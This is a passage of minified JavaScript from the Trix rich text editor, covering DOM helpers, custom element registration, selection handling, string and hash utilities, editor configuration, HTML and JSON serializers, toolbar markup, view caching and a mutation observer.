i=(o=null!=e?e:{}).onlyNodesOfType,r=o.usingFilter,n=o.expandEntityReferences,s=function(){switch(i){case"element":return NodeFilter.SHOW_ELEMENT;case"text":return NodeFilter.SHOW_TEXT;case"comment":return NodeFilter.SHOW_COMMENT;default:return NodeFilter.SHOW_ALL}}(),document.createTreeWalker(t,s,null!=r?r:null,!0===n)},tagName:function(t){var e;return null!=t&&null!=(e=t.tagName)?e.toLowerCase():void 0},makeElement:function(t,e){var n,i,o,r,s,a,u,c,l,h;if(null==e&&(e={}),"object"==typeof t?t=(e=t).tagName:e={attributes:e},i=document.createElement(t),null!=e.editable&&(null==e.attributes&&(e.attributes={}),e.attributes.contenteditable=e.editable),e.attributes)for(r in a=e.attributes)h=a[r],i.setAttribute(r,h);if(e.style)for(r in u=e.style)h=u[r],i.style[r]=h;if(e.data)for(r in c=e.data)h=c[r],i.dataset[r]=h;if(e.className)for(o=0,s=(l=e.className.split(" ")).length;s>o;o++)n=l[o],i.classList.add(n);return e.textContent&&(i.textContent=e.textContent),i},getBlockTagNames:function(){var t,e;return null!=i.blockTagNames?i.blockTagNames:i.blockTagNames=function(){var n,o;for(t in o=[],n=i.config.blockAttributes)(e=n[t].tagName)&&o.push(e);return o}()},nodeIsBlockContainer:function(t){return i.nodeIsBlockStartComment(null!=t?t.firstChild:void 0)},nodeProbablyIsBlockContainer:function(t){var e,n;return e=i.tagName(t),s.call(i.getBlockTagNames(),e)>=0&&(n=i.tagName(t.firstChild),s.call(i.getBlockTagNames(),n)<0)},nodeIsBlockStart:function(t,e){return(null!=e?e:{strict:!0}).strict?i.nodeIsBlockStartComment(t):i.nodeIsBlockStartComment(t)||!i.nodeIsBlockStartComment(t.firstChild)&&i.nodeProbablyIsBlockContainer(t)},nodeIsBlockStartComment:function(t){return i.nodeIsCommentNode(t)&&"block"===(null!=t?t.data:void 0)},nodeIsCommentNode:function(t){return(null!=t?t.nodeType:void 0)===Node.COMMENT_NODE},nodeIsCursorTarget:function(t,e){var n;return n=(null!=e?e:{}).name,t?i.nodeIsTextNode(t)?t.data===i.ZERO_WIDTH_SPACE?!n||t.parentNode.dataset.trixCursorTarget===n:void 0:i.nodeIsCursorTarget(t.firstChild):void 0},nodeIsAttachmentElement:function(t){return i.elementMatchesSelector(t,i.AttachmentView.attachmentSelector)},nodeIsEmptyTextNode:function(t){return i.nodeIsTextNode(t)&&""===(null!=t?t.data:void 0)},nodeIsTextNode:function(t){return(null!=t?t.nodeType:void 0)===Node.TEXT_NODE}})}.call(this),function(){var t,e,n,o,r;t=i.copyObject,o=i.objectsAreEqual,i.extend({normalizeRange:n=function(t){var n;if(null!=t)return Array.isArray(t)||(t=[t,t]),[e(t[0]),e(null!=(n=t[1])?n:t[0])]},rangeIsCollapsed:function(t){var e,i,o;if(null!=t)return o=(i=n(t))[0],e=i[1],r(o,e)},rangesAreEqual:function(t,e){var i,o,s,a,u,c;if(null!=t&&null!=e)return o=(s=n(t))[0],i=s[1],c=(a=n(e))[0],u=a[1],r(o,c)&&r(i,u)}}),e=function(e){return"number"==typeof e?e:t(e)},r=function(t,e){return"number"==typeof t?t===e:o(t,e)}}.call(this),function(){var t,e,n,o,r;i.registerElement=function(t,i){var s,a;return null==i&&(i={}),t=t.toLowerCase(),i=r(i),(s=(a=o(i)).defaultCSS)&&(delete a.defaultCSS,e(s,t)),n(t,a)},e=function(e,n){return t(n).textContent=e.replace(/%t/g,n)},t=function(t){var e;return(e=document.createElement("style")).setAttribute("type","text/css"),e.setAttribute("data-tag-name",t.toLowerCase()),document.head.insertBefore(e,document.head.firstChild),e},o=function(t){var e,n,i;for(e in n={},t)i=t[e],n[e]="function"==typeof i?{value:i}:i;return n},r=function(){var t;return t=function(t){var e,n,i,o,r;for(e={},n=0,o=(r=["initialize","connect","disconnect"]).length;o>n;n++)e[i=r[n]]=t[i],delete t[i];return e},window.customElements?function(e){var n,i,o,r,s;return s=t(e),o=s.initialize,n=s.connect,i=s.disconnect,o&&(r=n,n=function(){return this.initialized||(this.initialized=!0,o.call(this)),null!=r?r.call(this):void 0}),n&&(e.connectedCallback=n),i&&(e.disconnectedCallback=i),e}:function(e){var n,i,o,r;return o=(r=t(e)).initialize,n=r.connect,i=r.disconnect,o&&(e.createdCallback=o),n&&(e.attachedCallback=n),i&&(e.detachedCallback=i),e}}(),n=window.customElements?function(t,e){var n;return(n=function(){return Reflect.construct(HTMLElement,[],n)}).prototype=Object.create(HTMLElement.prototype,e),window.customElements.define(t,n),n}:function(t,e){var n,i;return i=Object.create(HTMLElement.prototype,e),n=document.registerElement(t,{prototype:i}),Object.defineProperty(i,"constructor",{value:n}),n}}.call(this),function(){var t,e;i.extend({getDOMSelection:function(){var t;return(t=window.getSelection()).rangeCount>0?t:void 0},getDOMRange:function(){var e,n;return(e=null!=(n=i.getDOMSelection())?n.getRangeAt(0):void 0)&&!t(e)?e:void 0},setDOMRange:function(t){var e;return(e=window.getSelection()).removeAllRanges(),e.addRange(t),i.selectionChangeObserver.update()}}),t=function(t){return e(t.startContainer)||e(t.endContainer)},e=function(t){return!Object.getPrototypeOf(t)}}.call(this),function(){var t;t={"application/x-trix-feature-detection":"test"},i.extend({dataTransferIsPlainText:function(t){var e,n,i;return i=t.getData("text/plain"),n=t.getData("text/html"),i&&n?((e=document.createElement("div")).innerHTML=n,e.textContent===i?!e.querySelector(":not(meta)"):void 0):null!=i?i.length:void 0},dataTransferIsWritable:function(e){var n,i;if(null!=(null!=e?e.setData:void 0)){for(n in t)if(i=t[n],!function(){try{return e.setData(n,i),e.getData(n)===i}catch(t){}}())return;return!0}},keyEventIsKeyboardCommand:/Mac|^iP/.test(navigator.platform)?function(t){return t.metaKey}:function(t){return t.ctrlKey}})}.call(this),function(){}.call(this),function(){var t,e=function(t,e){function i(){this.constructor=t}for(var o in e)n.call(e,o)&&(t[o]=e[o]);return i.prototype=e.prototype,t.prototype=new i,t.__super__=e.prototype,t},n={}.hasOwnProperty;t=i.arraysAreEqual,i.Hash=function(n){function o(t){null==t&&(t={}),this.values=s(t),o.__super__.constructor.apply(this,arguments)}var r,s,a,u,c;return e(o,n),o.fromCommonAttributesOfObjects=function(t){var e,n,i,o,s,a;if(null==t&&(t=[]),!t.length)return new this;for(i=(e=r(t[0])).getKeys(),n=0,o=(a=t.slice(1)).length;o>n;n++)s=a[n],i=e.getKeysCommonToHash(r(s)),e=e.slice(i);return e},o.box=function(t){return r(t)},o.prototype.add=function(t,e){return this.merge(u(t,e))},o.prototype.remove=function(t){return new i.Hash(s(this.values,t))},o.prototype.get=function(t){return this.values[t]},o.prototype.has=function(t){return t in this.values},o.prototype.merge=function(t){return new i.Hash(a(this.values,c(t)))},o.prototype.slice=function(t){var e,n,o,r;for(r={},e=0,o=t.length;o>e;e++)n=t[e],this.has(n)&&(r[n]=this.values[n]);return new i.Hash(r)},o.prototype.getKeys=function(){return Object.keys(this.values)},o.prototype.getKeysCommonToHash=function(t){var e,n,i,o,s;for(t=r(t),s=[],e=0,i=(o=this.getKeys()).length;i>e;e++)n=o[e],this.values[n]===t.values[n]&&s.push(n);return s},o.prototype.isEqualTo=function(e){return t(this.toArray(),r(e).toArray())},o.prototype.isEmpty=function(){return 0===this.getKeys().length},o.prototype.toArray=function(){var t,e,n;return(null!=this.array?this.array:this.array=function(){var i;for(t in e=[],i=this.values)n=i[t],e.push(t,n);return e}.call(this)).slice(0)},o.prototype.toObject=function(){return s(this.values)},o.prototype.toJSON=function(){return this.toObject()},o.prototype.contentsForInspection=function(){return{values:JSON.stringify(this.values)}},u=function(t,e){var n;return(n={})[t]=e,n},a=function(t,e){var n,i,o;for(n in i=s(t),e)o=e[n],i[n]=o;return i},s=function(t,e){var n,i,o,r,s;for(r={},n=0,o=(s=Object.keys(t).sort()).length;o>n;n++)(i=s[n])!==e&&(r[i]=t[i]);return r},r=function(t){return t instanceof i.Hash?t:new i.Hash(t)},c=function(t){return t instanceof i.Hash?t.values:t},o}(i.Object)}.call(this),function(){i.ObjectGroup=function(){function t(t,e){var n,i;this.objects=null!=t?t:[],i=e.depth,(n=e.asTree)&&(this.depth=i,this.objects=this.constructor.groupObjects(this.objects,{asTree:n,depth:this.depth+1}))}return t.groupObjects=function(t,e){var n,i,o,r,s,a,u,c,l;for(null==t&&(t=[]),o=(l=null!=e?e:{}).depth,(n=l.asTree)&&null==o&&(o=0),c=[],s=0,a=t.length;a>s;s++){if(u=t[s],r){if(("function"==typeof u.canBeGrouped?u.canBeGrouped(o):void 0)&&("function"==typeof(i=r[r.length-1]).canBeGroupedWith?i.canBeGroupedWith(u,o):void 0)){r.push(u);continue}c.push(new this(r,{depth:o,asTree:n})),r=null}("function"==typeof u.canBeGrouped?u.canBeGrouped(o):void 0)?r=[u]:c.push(u)}return r&&c.push(new this(r,{depth:o,asTree:n})),c},t.prototype.getObjects=function(){return this.objects},t.prototype.getDepth=function(){return this.depth},t.prototype.getCacheKey=function(){var t,e,n,i,o;for(e=["objectGroup"],t=0,n=(o=this.getObjects()).length;n>t;t++)i=o[t],e.push(i.getCacheKey());return e.join("/")},t}()}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.ObjectMap=function(e){function n(t){var e,n,i,o,r;for(null==t&&(t=[]),this.objects={},i=0,o=t.length;o>i;i++)r=t[i],n=JSON.stringify(r),null==(e=this.objects)[n]&&(e[n]=r)}return t(n,e),n.prototype.find=function(t){var e;return e=JSON.stringify(t),this.objects[e]},n}(i.BasicObject)}.call(this),function(){i.ElementStore=function(){function t(t){this.reset(t)}var e;return t.prototype.add=function(t){var n;return n=e(t),this.elements[n]=t},t.prototype.remove=function(t){var n,i;return n=e(t),(i=this.elements[n])?(delete this.elements[n],i):void 0},t.prototype.reset=function(t){var e,n,i;for(null==t&&(t=[]),this.elements={},n=0,i=t.length;i>n;n++)e=t[n],this.add(e);return t},e=function(t){return t.dataset.trixStoreKey},t}()}.call(this),function(){}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.Operation=function(e){function n(){return n.__super__.constructor.apply(this,arguments)}return t(n,e),n.prototype.isPerforming=function(){return!0===this.performing},n.prototype.hasPerformed=function(){return!0===this.performed},n.prototype.hasSucceeded=function(){return this.performed&&this.succeeded},n.prototype.hasFailed=function(){return this.performed&&!this.succeeded},n.prototype.getPromise=function(){return null!=this.promise?this.promise:this.promise=new Promise((t=this,function(e,n){return t.performing=!0,t.perform(function(i,o){return t.succeeded=i,t.performing=!1,t.performed=!0,t.succeeded?e(o):n(o)})}));var t},n.prototype.perform=function(t){return t(!1)},n.prototype.release=function(){var t;return null!=(t=this.promise)&&"function"==typeof t.cancel&&t.cancel(),this.promise=null,this.performing=null,this.performed=null,this.succeeded=null},n.proxyMethod("getPromise().then"),n.proxyMethod("getPromise().catch"),n}(i.BasicObject)}.call(this),function(){var t,e,n,o,r,s={}.hasOwnProperty;i.UTF16String=function(t){function e(t,e){this.ucs2String=t,this.codepoints=e,this.length=this.codepoints.length,this.ucs2Length=this.ucs2String.length}return function(t,e){function n(){this.constructor=t}for(var i in e)s.call(e,i)&&(t[i]=e[i]);n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype}(e,t),e.box=function(t){return null==t&&(t=""),t instanceof this?t:this.fromUCS2String(null!=t?t.toString():void 0)},e.fromUCS2String=function(t){return new this(t,o(t))},e.fromCodepoints=function(t){return new this(r(t),t)},e.prototype.offsetToUCS2Offset=function(t){return r(this.codepoints.slice(0,Math.max(0,t))).length},e.prototype.offsetFromUCS2Offset=function(t){return o(this.ucs2String.slice(0,Math.max(0,t))).length},e.prototype.slice=function(){var t;return this.constructor.fromCodepoints((t=this.codepoints).slice.apply(t,arguments))},e.prototype.charAt=function(t){return this.slice(t,t+1)},e.prototype.isEqualTo=function(t){return this.constructor.box(t).ucs2String===this.ucs2String},e.prototype.toJSON=function(){return this.ucs2String},e.prototype.getCacheKey=function(){return this.ucs2String},e.prototype.toString=function(){return this.ucs2String},e}(i.BasicObject),t=1===("function"==typeof Array.from?Array.from("👼").length:void 0),e=null!=("function"==typeof" ".codePointAt?" ".codePointAt(0):void 0),n=" 👼"===("function"==typeof String.fromCodePoint?String.fromCodePoint(32,128124):void 0),o=t&&e?function(t){return Array.from(t).map(function(t){return t.codePointAt(0)})}:function(t){var e,n,i,o,r;for(o=[],e=0,i=t.length;i>e;)(r=t.charCodeAt(e++))>=55296&&56319>=r&&i>e&&(56320==(64512&(n=t.charCodeAt(e++)))?r=((1023&r)<<10)+(1023&n)+65536:e--),o.push(r);return o},r=n?function(t){return String.fromCodePoint.apply(String,t)}:function(t){var e,n;return function(){var i,o,r;for(r=[],i=0,o=t.length;o>i;i++)n=t[i],e="",n>65535&&(n-=65536,e+=String.fromCharCode(n>>>10&1023|55296),n=56320|1023&n),r.push(e+String.fromCharCode(n));return r}().join("")}}.call(this),function(){}.call(this),function(){}.call(this),function(){i.config.lang={bold:"Bold",bullets:"Bullets",byte:"Byte",bytes:"Bytes",captionPlaceholder:"Add a caption…",code:"Code",heading1:"Heading",indent:"Increase Level",italic:"Italic",link:"Link",numbers:"Numbers",outdent:"Decrease Level",quote:"Quote",redo:"Redo",remove:"Remove",strike:"Strikethrough",undo:"Undo",unlink:"Unlink",url:"URL",urlPlaceholder:"Enter a URL…",GB:"GB",KB:"KB",MB:"MB",PB:"PB",TB:"TB"}}.call(this),function(){i.config.css={attachment:"attachment",attachmentCaption:"attachment__caption",attachmentCaptionEditor:"attachment__caption-editor",attachmentMetadata:"attachment__metadata",attachmentMetadataContainer:"attachment__metadata-container",attachmentName:"attachment__name",attachmentProgress:"attachment__progress",attachmentSize:"attachment__size",attachmentToolbar:"attachment__toolbar",attachmentGallery:"attachment-gallery"}}.call(this),function(){var t;i.config.blockAttributes=t={default:{tagName:"div",parse:!1},quote:{tagName:"blockquote",nestable:!0},heading1:{tagName:"h1",terminal:!0,breakOnReturn:!0,group:!1},code:{tagName:"pre",terminal:!0,text:{plaintext:!0}},bulletList:{tagName:"ul",parse:!1},bullet:{tagName:"li",listAttribute:"bulletList",group:!1,nestable:!0,test:function(e){return i.tagName(e.parentNode)===t[this.listAttribute].tagName}},numberList:{tagName:"ol",parse:!1},number:{tagName:"li",listAttribute:"numberList",group:!1,nestable:!0,test:function(e){return i.tagName(e.parentNode)===t[this.listAttribute].tagName}},attachmentGallery:{tagName:"div",exclusive:!0,terminal:!0,parse:!1,group:!1}}}.call(this),function(){var t,e;t=i.config.lang,e=[t.bytes,t.KB,t.MB,t.GB,t.TB,t.PB],i.config.fileSize={prefix:"IEC",precision:2,formatter:function(n){var i,o;switch(n){case 0:return"0 "+t.bytes;case 1:return"1 "+t.byte;default:return i=function(){switch(this.prefix){case"SI":return 1e3;case"IEC":return 1024}}.call(this),o=Math.floor(Math.log(n)/Math.log(i)),(n/Math.pow(i,o)).toFixed(this.precision).replace(/0*$/,"").replace(/\.$/,"")+" "+e[o]}}}}.call(this),function(){i.config.textAttributes={bold:{tagName:"strong",inheritable:!0,parser:function(t){var e;return"bold"===(e=window.getComputedStyle(t)).fontWeight||e.fontWeight>=600}},italic:{tagName:"em",inheritable:!0,parser:function(t){return"italic"===window.getComputedStyle(t).fontStyle}},href:{groupTagName:"a",parser:function(t){var e,n;return n="a:not("+i.AttachmentView.attachmentSelector+")",(e=i.findClosestElementFromNode(t,{matchingSelector:n}))?e.getAttribute("href"):void 0}},strike:{tagName:"del",inheritable:!0},frozen:{style:{backgroundColor:"highlight"}}}}.call(this),function(){var t,e,n;n=["contenteditable","data-trix-id","data-trix-store-key","data-trix-mutable","data-trix-placeholder","tabindex"],e="data-trix-serialized-attributes",t=new RegExp("\x3c!--block--\x3e","g"),i.extend({serializers:{"application/json":function(t){var e;if(t instanceof i.Document)e=t;else{if(!(t instanceof HTMLElement))throw new Error("unserializable object");e=i.Document.fromHTML(t.innerHTML)}return e.toSerializableDocument().toJSONString()},"text/html":function(o){var r,s,a,u,c,l,h,p,d,f,g,m,y,v,b,A,C;if(o instanceof i.Document)u=i.DocumentView.render(o);else{if(!(o instanceof HTMLElement))throw new Error("unserializable object");u=o.cloneNode(!0)}for(c=0,d=(v=u.querySelectorAll("[data-trix-serialize=false]")).length;d>c;c++)a=v[c],i.removeNode(a);for(l=0,f=n.length;f>l;l++)for(r=n[l],h=0,g=(b=u.querySelectorAll("["+r+"]")).length;g>h;h++)(a=b[h]).removeAttribute(r);for(p=0,m=(A=u.querySelectorAll("[data-trix-serialized-attributes]")).length;m>p;p++){a=A[p];try{for(y in s=JSON.parse(a.getAttribute(e)),a.removeAttribute(e),s)C=s[y],a.setAttribute(y,C)}catch(t){}}return u.innerHTML.replace(t,"")}},deserializers:{"application/json":function(t){return i.Document.fromJSONString(t)},"text/html":function(t){return i.Document.fromHTML(t)}},serializeToContentType:function(t,e){var n;if(n=i.serializers[e])return n(t);throw new Error("unknown content type: "+e)},deserializeFromContentType:function(t,e){var n;if(n=i.deserializers[e])return n(t);throw new Error("unknown content type: "+e)}})}.call(this),function(){var t;t=i.config.lang,i.config.toolbar={getDefaultHTML:function(){return'<div class="trix-button-row">\n <span class="trix-button-group trix-button-group--text-tools" data-trix-button-group="text-tools">\n <button type="button" class="trix-button trix-button--icon trix-button--icon-bold" data-trix-attribute="bold" data-trix-key="b" title="'+t.bold+'" tabindex="-1">'+t.bold+'</button>\n <button type="button" class="trix-button trix-button--icon trix-button--icon-italic" data-trix-attribute="italic" data-trix-key="i" title="'+t.italic+'" tabindex="-1">'+t.italic+'</button>\n <button type="button" class="trix-button trix-button--icon trix-button--icon-strike" data-trix-attribute="strike" title="'+t.strike+'" tabindex="-1">'+t.strike+'</button>\n <button type="button" class="trix-button trix-button--icon trix-button--icon-link" data-trix-attribute="href" data-trix-action="link" data-trix-key="k" title="'+t.link+'" tabindex="-1">'+t.link+'</button>\n </span>\n\n <span class="trix-button-group trix-button-group--block-tools" data-trix-button-group="block-tools">\n <button type="button" class="trix-button trix-button--icon trix-button--icon-heading-1" data-trix-attribute="heading1" title="'+t.heading1+'" tabindex="-1">'+t.heading1+'</button>\n <button type="button" class="trix-button trix-button--icon trix-button--icon-quote" data-trix-attribute="quote" title="'+t.quote+'" tabindex="-1">'+t.quote+'</button>\n <button type="button" class="trix-button trix-button--icon trix-button--icon-code" data-trix-attribute="code" title="'+t.code+'" tabindex="-1">'+t.code+'</button>\n <button type="button" class="trix-button trix-button--icon trix-button--icon-bullet-list" data-trix-attribute="bullet" title="'+t.bullets+'" tabindex="-1">'+t.bullets+'</button>\n <button type="button" class="trix-button trix-button--icon trix-button--icon-number-list" data-trix-attribute="number" title="'+t.numbers+'" tabindex="-1">'+t.numbers+'</button>\n <button type="button" class="trix-button trix-button--icon trix-button--icon-decrease-nesting-level" data-trix-action="decreaseNestingLevel" title="'+t.outdent+'" tabindex="-1">'+t.outdent+'</button>\n <button type="button" class="trix-button trix-button--icon trix-button--icon-increase-nesting-level" data-trix-action="increaseNestingLevel" title="'+t.indent+'" tabindex="-1">'+t.indent+'</button>\n </span>\n\n <span class="trix-button-group-spacer"></span>\n\n <span class="trix-button-group trix-button-group--history-tools" data-trix-button-group="history-tools">\n <button type="button" class="trix-button trix-button--icon trix-button--icon-undo" data-trix-action="undo" data-trix-key="z" title="'+t.undo+'" tabindex="-1">'+t.undo+'</button>\n <button type="button" class="trix-button trix-button--icon trix-button--icon-redo" data-trix-action="redo" data-trix-key="shift+z" title="'+t.redo+'" tabindex="-1">'+t.redo+'</button>\n </span>\n</div>\n\n<div class="trix-dialogs" data-trix-dialogs>\n <div class="trix-dialog trix-dialog--link" data-trix-dialog="href" data-trix-dialog-attribute="href">\n <div class="trix-dialog__link-fields">\n <input type="url" name="href" class="trix-input trix-input--dialog" placeholder="'+t.urlPlaceholder+'" aria-label="'+t.url+'" required data-trix-input>\n <div class="trix-button-group">\n <input type="button" class="trix-button trix-button--dialog" value="'+t.link+'" data-trix-method="setAttribute">\n <input type="button" class="trix-button trix-button--dialog" value="'+t.unlink+'" data-trix-method="removeAttribute">\n </div>\n </div>\n </div>\n</div>'}}}.call(this),function(){i.config.undoInterval=5e3}.call(this),function(){i.config.attachments={preview:{presentation:"gallery",caption:{name:!0,size:!0}},file:{caption:{size:!0}}}}.call(this),function(){i.config.keyNames={8:"backspace",9:"tab",13:"return",27:"escape",37:"left",39:"right",46:"delete",68:"d",72:"h",79:"o"}}.call(this),function(){i.config.input={level2Enabled:!0,getLevel:function(){return this.level2Enabled&&i.browser.supportsInputEvents?2:0}}}.call(this),function(){}.call(this),function(){i.registerElement("trix-toolbar",{defaultCSS:"%t {\n display: block;\n}\n\n%t {\n white-space: nowrap;\n}\n\n%t [data-trix-dialog] {\n display: none;\n}\n\n%t [data-trix-dialog][data-trix-active] {\n display: block;\n}\n\n%t [data-trix-dialog] [data-trix-validate]:invalid {\n background-color: #ffdddd;\n}",initialize:function(){return""===this.innerHTML?this.innerHTML=i.config.toolbar.getDefaultHTML():void 0}})}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty,n=[].indexOf||function(t){for(var e=0,n=this.length;n>e;e++)if(e in this&&this[e]===t)return e;return-1};i.ObjectView=function(e){function o(t,e){this.object=t,this.options=null!=e?e:{},this.childViews=[],this.rootView=this}return t(o,e),o.prototype.getNodes=function(){var t,e,n,i,o;for(null==this.nodes&&(this.nodes=this.createNodes()),o=[],t=0,e=(i=this.nodes).length;e>t;t++)n=i[t],o.push(n.cloneNode(!0));return o},o.prototype.invalidate=function(){var t;return this.nodes=null,null!=(t=this.parentView)?t.invalidate():void 0},o.prototype.invalidateViewForObject=function(t){var e;return null!=(e=this.findViewForObject(t))?e.invalidate():void 0},o.prototype.findOrCreateCachedChildView=function(t,e){var n;return(n=this.getCachedViewForObject(e))?this.recordChildView(n):(n=this.createChildView.apply(this,arguments),this.cacheViewForObject(n,e)),n},o.prototype.createChildView=function(t,e,n){var o;return null==n&&(n={}),e instanceof i.ObjectGroup&&(n.viewClass=t,t=i.ObjectGroupView),o=new t(e,n),this.recordChildView(o)},o.prototype.recordChildView=function(t){return t.parentView=this,t.rootView=this.rootView,n.call(this.childViews,t)<0&&this.childViews.push(t),t},o.prototype.getAllChildViews=function(){var t,e,n,i,o;for(o=[],e=0,n=(i=this.childViews).length;n>e;e++)t=i[e],o.push(t),o=o.concat(t.getAllChildViews());return o},o.prototype.findElement=function(){return this.findElementForObject(this.object)},o.prototype.findElementForObject=function(t){var e;return(e=null!=t?t.id:void 0)?this.rootView.element.querySelector("[data-trix-id='"+e+"']"):void 0},o.prototype.findViewForObject=function(t){var e,n,i,o;for(e=0,n=(i=this.getAllChildViews()).length;n>e;e++)if((o=i[e]).object===t)return o},o.prototype.getViewCache=function(){return this.rootView!==this?this.rootView.getViewCache():this.isViewCachingEnabled()?null!=this.viewCache?this.viewCache:this.viewCache={}:void 0},o.prototype.isViewCachingEnabled=function(){return!1!==this.shouldCacheViews},o.prototype.enableViewCaching=function(){return this.shouldCacheViews=!0},o.prototype.disableViewCaching=function(){return this.shouldCacheViews=!1},o.prototype.getCachedViewForObject=function(t){var e;return null!=(e=this.getViewCache())?e[t.getCacheKey()]:void 0},o.prototype.cacheViewForObject=function(t,e){var n;return null!=(n=this.getViewCache())?n[e.getCacheKey()]=t:void 0},o.prototype.garbageCollectCachedViews=function(){var t,e,i,o,r,s;if(t=this.getViewCache()){for(e in s=this.getAllChildViews().concat(this),i=function(){var t,e,n;for(n=[],t=0,e=s.length;e>t;t++)r=s[t],n.push(r.object.getCacheKey());return n}(),o=[],t)n.call(i,e)<0&&o.push(delete t[e]);return o}},o}(i.BasicObject)}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.ObjectGroupView=function(e){function n(){n.__super__.constructor.apply(this,arguments),this.objectGroup=this.object,this.viewClass=this.options.viewClass,delete this.options.viewClass}return t(n,e),n.prototype.getChildViews=function(){var t,e,n,i;if(!this.childViews.length)for(t=0,e=(i=this.objectGroup.getObjects()).length;e>t;t++)n=i[t],this.findOrCreateCachedChildView(this.viewClass,n,this.options);return this.childViews},n.prototype.createNodes=function(){var t,e,n,i,o,r,s,a;for(t=this.createContainerElement(),e=0,i=(s=this.getChildViews()).length;i>e;e++)for(n=0,o=(a=s[e].getNodes()).length;o>n;n++)r=a[n],t.appendChild(r);return[t]},n.prototype.createContainerElement=function(t){return null==t&&(t=this.objectGroup.getDepth()),this.getChildViews()[0].createContainerElement(t)},n}(i.ObjectView)}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.Controller=function(e){function n(){return n.__super__.constructor.apply(this,arguments)}return t(n,e),n}(i.BasicObject)}.call(this),function(){var t,e,n,o,r,s,a=function(t,e){return function(){return t.apply(e,arguments)}},u=function(t,e){function n(){this.constructor=t}for(var i in e)c.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},c={}.hasOwnProperty,l=[].indexOf||function(t){for(var e=0,n=this.length;n>e;e++)if(e in this&&this[e]===t)return e;return-1};t=i.findClosestElementFromNode,n=i.nodeIsEmptyTextNode,e=i.nodeIsBlockStartComment,o=i.normalizeSpaces,r=i.summarizeStringChange,s=i.tagName,i.MutationObserver=function(i){function c(t){this.element=t,this.didMutate=a(this.didMutate,this),this.observer=new window.MutationObserver(this.didMutate),this.start()}var h,p,d;return u(c,i),"["+(p="data-trix-mutable")+"]",d={attributes:!0,childList:!0,characterData:!0,characterDataOldValue:!0,subtree:!0},c.prototype.start=function(){return this.reset(),this.observer.observe(this.element,d)},c.prototype.stop=function(){return this.observer.disconnect()},c.prototype.didMutate=function(t){var e,n;return(e=this.mutations).push.apply(e,this.findSignificantMutations(t)),this.mutations.length?(null!=(n=this.delegate)&&"function"==typeof n.elementDidMutate&&n.elementDidMutate(this.getMutationSummary()),this.reset()):void 0},c.prototype.reset=function(){return this.mutations=[]},c.prototype.findSignificantMutations=function(t){var e,n,i,o;for(o=[],e=0,n=t.length;n>e;e++)i=t[e],this.mutationIsSignificant(i)&&o.push(i);return o},c.prototype.mutationIsSignificant=function(t){var e,n,i,o;if(this.nodeIsMutable(t.target))return!1;for(e=0,n=(o=this.nodesModifiedByMutation(t)).length;n>e;e++)if(i=o[e],this.nodeIsSignificant(i))return!0;return!1},c.prototype.nodeIsSignificant=function(t){return t!==this.element&&!this.nodeIsMutable(t)&&!n(t)},c.prototype.nodeIsMutable=function(e){return t(e,{matchingSelector:"[data-trix-mutable]"})},c.prototype.nodesModifiedByMutation=function(t){var e;switch(e=[],t.type){case"attributes":t.attributeName!==p&&e.push(t.target);break;case"characterData":e.push(t.target.parentNode),e.push(t.target);break;case"childList":e.push.apply(e,t.addedNodes),e.push.apply(e,t.removedNodes)}return e},c.prototype.getMutationSummary=function(){return this.getTextMutationSummary()},c.prototype.getTextMutationSummary=function(){var t,e,n,i,o,r,s,a,u,c,h;for(n=(a=this.getTextChangesFromCharacterData()).additions,o=a.deletions,r=0,s=(u=(h=this.getTextChangesFromChildList()).additions).length;s>r;r++)e=u[r],l.call(n,e)<0&&n.push(e);return o.push.apply(o,h.deletions),c={},(t=n.join(""))&&(c.textAdded=t),(i=o.join(""))&&(c.textDeleted=i),c},c.prototype.getMutationsByType=function(t){var e,n,i,o,r;for(r=[],e=0,n=(o=this.mutations).length;n>e;e++)(i=o[e]).type===t&&r.push(i);return r},c.prototype.getTextChangesFromChildList=function(){var t,n,i,r,s,a,u,c,l,p;for(t=[],u=[],n=0,r=(a=this.getMutationsByType("childList")).length;r>n;n++)s=a[n],t.push.apply(t,s.addedNodes),u.push.apply(u,s.removedNodes);return 0===t.length&&1===u.length&&e(u[0])?(l=[],p=["\n"]):(l=h(t),p=h(u)),{additions:function(){var t,e,n;for(n=[],i=t=0,e=l.length;e>t;i=++t)(c=l[i])!==p[i]&&n.push(o(c));return n}(),deletions:function(){var t,e,n;for(n=[],i=t=0,e=p.length;e>t;i=++t)(c=p[i])!==l[i]&&n.push(o(c));return n}()}},c.prototype.getTextChangesFromCharacterData=function(){var t,e,n,i,s,a,u,c;return(e=this.getMutationsByType("characterData")).length&&(c=e[0],n=e[e.length-1],s=o(c.oldValue),i=o(n.target.data),t=(a=r(s,i)).added,u=a.removed),{additions:t?[t]:[],deletions:u?[u]:[]}},h=function(t){var e,n,i,o;for(null==t&&(t=[]),o=[],e=0,n=t.length;n>e;e++)switch(i=t[e],i.nodeType){case Node.TEXT_NODE:o.push(i.data);break;case Node.ELEMENT_NODE:"br"===s(i)?o.push("\n"):o.push.apply(o,h(i.childNodes))}return o},c}(i.BasicObject)}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.FileVerificationOperation=function(e){function n(t){this.file=t}return t(n,e),n.prototype.perform=function(t){var e,n;return(e=new FileReader).onerror=function(){return t(!1)},e.onload=(n=this,function(){e.onerror=null;try{e.abort()}catch(t){}return 